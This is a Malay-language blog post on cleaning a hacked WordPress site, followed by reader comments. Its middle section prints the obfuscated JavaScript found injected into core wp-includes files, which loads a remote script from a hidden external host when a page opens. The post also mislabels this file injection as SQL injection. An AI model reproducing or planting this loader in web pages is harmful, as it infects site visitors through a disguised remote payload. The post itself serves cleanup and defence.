Mengatasi masalah SQL Injection ke atas blog wordpress.

Parse error: syntax error, unexpected ‘<’ in /home/username/public_html/wp-includes/default-filters.php on line 229

Menyakitkan hati apabila perkara pertama yang ingin dilakukan hari ini adalah mahu update blog post tetapi apa yang berlaku error seperti berikut kelihatan, Menurut error yang ditunjukkan diatas, anda telah mengubah pada code pada fail tertentu, Sebagai penguna biasa, anda tidak pernah mengubah mana-mana kod yang rumit ini, jadi bagaimana perkara ini berlaku?

ini adalah serangan Bugs yang dieksploitasi oleh Code Injection untuk memasukkan malicious code ke dalam fail blog wordpress anda, dengan ini script php tidak dapat di execute dengan sempurna. Bagaimana pula malicious code ini boleh masuk sesuka hati ke dalam fail anda? Perlu diingatkan bahawa fail pada blog anda perlulah di setkan pada permission yang betul untuk mengelakkan perkara ini berlaku.

baiklah mula dengan membuka cpanel anda ataupun anda boleh mengunakan FTP untuk download beberapa fail tertentu, sila download fail berikut dari folder wp-includes

default-embeds.php
default-filters.php
default-widgets.php

Scroll ke bawah dan cari kod seperti berikut:
<script> tag at end of file ” <script>/*GNU GPL*/ try{window.onload = function(){var N093zwnmmc31lmu = document.createElement(‘s&(!$c@(r&@@(i(&^p^&t!’.replace(/\!|\(|\$|#|\)|&|\^|@/ig, ”));N093zwnmmc31lmu.setAttribute(‘type’, ‘text/javascript’);N093zwnmmc31lmu.setAttribute(‘src’, ‘h(&t$(@t$!p((:)$(/&)/!&&s#&)a@!#(h!$i$@$b#&^^i@))!n$!&#)d(e)&@n&^#-#!c^&@$^o!@(m$$.)&$h()$(e@)i#^&&s!)$e).&@d#$)^e$#$!.(^!a#()d(&^)u(^l^)t@a@d&#w^#@o(&&r@@&&l#&)d$&-)#!&c@o^(m(.!^(v!#)i&#e#w!@@()h$&!&o#(@$m)&e^s@!a&$$#l$e#.!r(u@)#:)!8)!0^8#0$@^/$g^^$o#!$o!&)g!l@$e(.$$c@!&@o!$@m$/#g#(o!o@#g$$l!@)e$(.$c#(o(m^@/!)m#((a@#$$p^q#!u&!!)e&&)!s!)(t$&).&c$#&o#^m##/^&v#e&r^@!!i!z#o#!n&.$#n#^e$()t(!/#b@#r)a#m!j@^#))n#^e$^^^t^.&c$)o)!!m!$/))’.replace(/#|\(|&|\)|\$|@|\^|\!/ig, ”));N093zwnmmc31lmu.setAttribute(‘defer’, ‘defer’);N093zwnmmc31lmu.setAttribute(‘id’, ‘S!^(@l$!$!j@!(h$!2!$&5^)d^@j#$o!&@r!$(‘.replace(/\!|\)|\$|\^|@|#|&|\(/ig, ”));document.body.appendChild(N093zwnmmc31lmu);}} catch(e) {}</script>

buangkan kod ini pada ketiga-tiga fail tersebut, kebiasaan kod ini berada pada ketiga-tiga fail tersebut, sekiranya blog anda masih mengalami masalah, sila cari pada mana-mana fail lain yang mempunyai code seperti berikut, kod ini juga menyerang luar dari folder wp-includes.

Sekarang anda boleh cuba site anda

You can leave a response, or trackback from your own site.

3 Responses to “Mengatasi masalah SQL Injection ke atas blog wordpress.”

  1. od3n says:

    cek my site bro. kalo error yg tu cmne plak?

  2. saryissolla says:

    Just want to say what a great blog you got here!
    I’ve been around for quite a lot of time, but finally decided to show my appreciation of your work!

    Thumbs up, and keep it going!

    Cheers
    Christian,Earn Free Vouchers / Cash

Leave a Reply

CommentLuv Enabled
Powered by WordPress | Buy wordpress themes 2012 and Save. | Thanks to Best Free WordPress Themes, Free Premium WordPress Themes and Themes Directory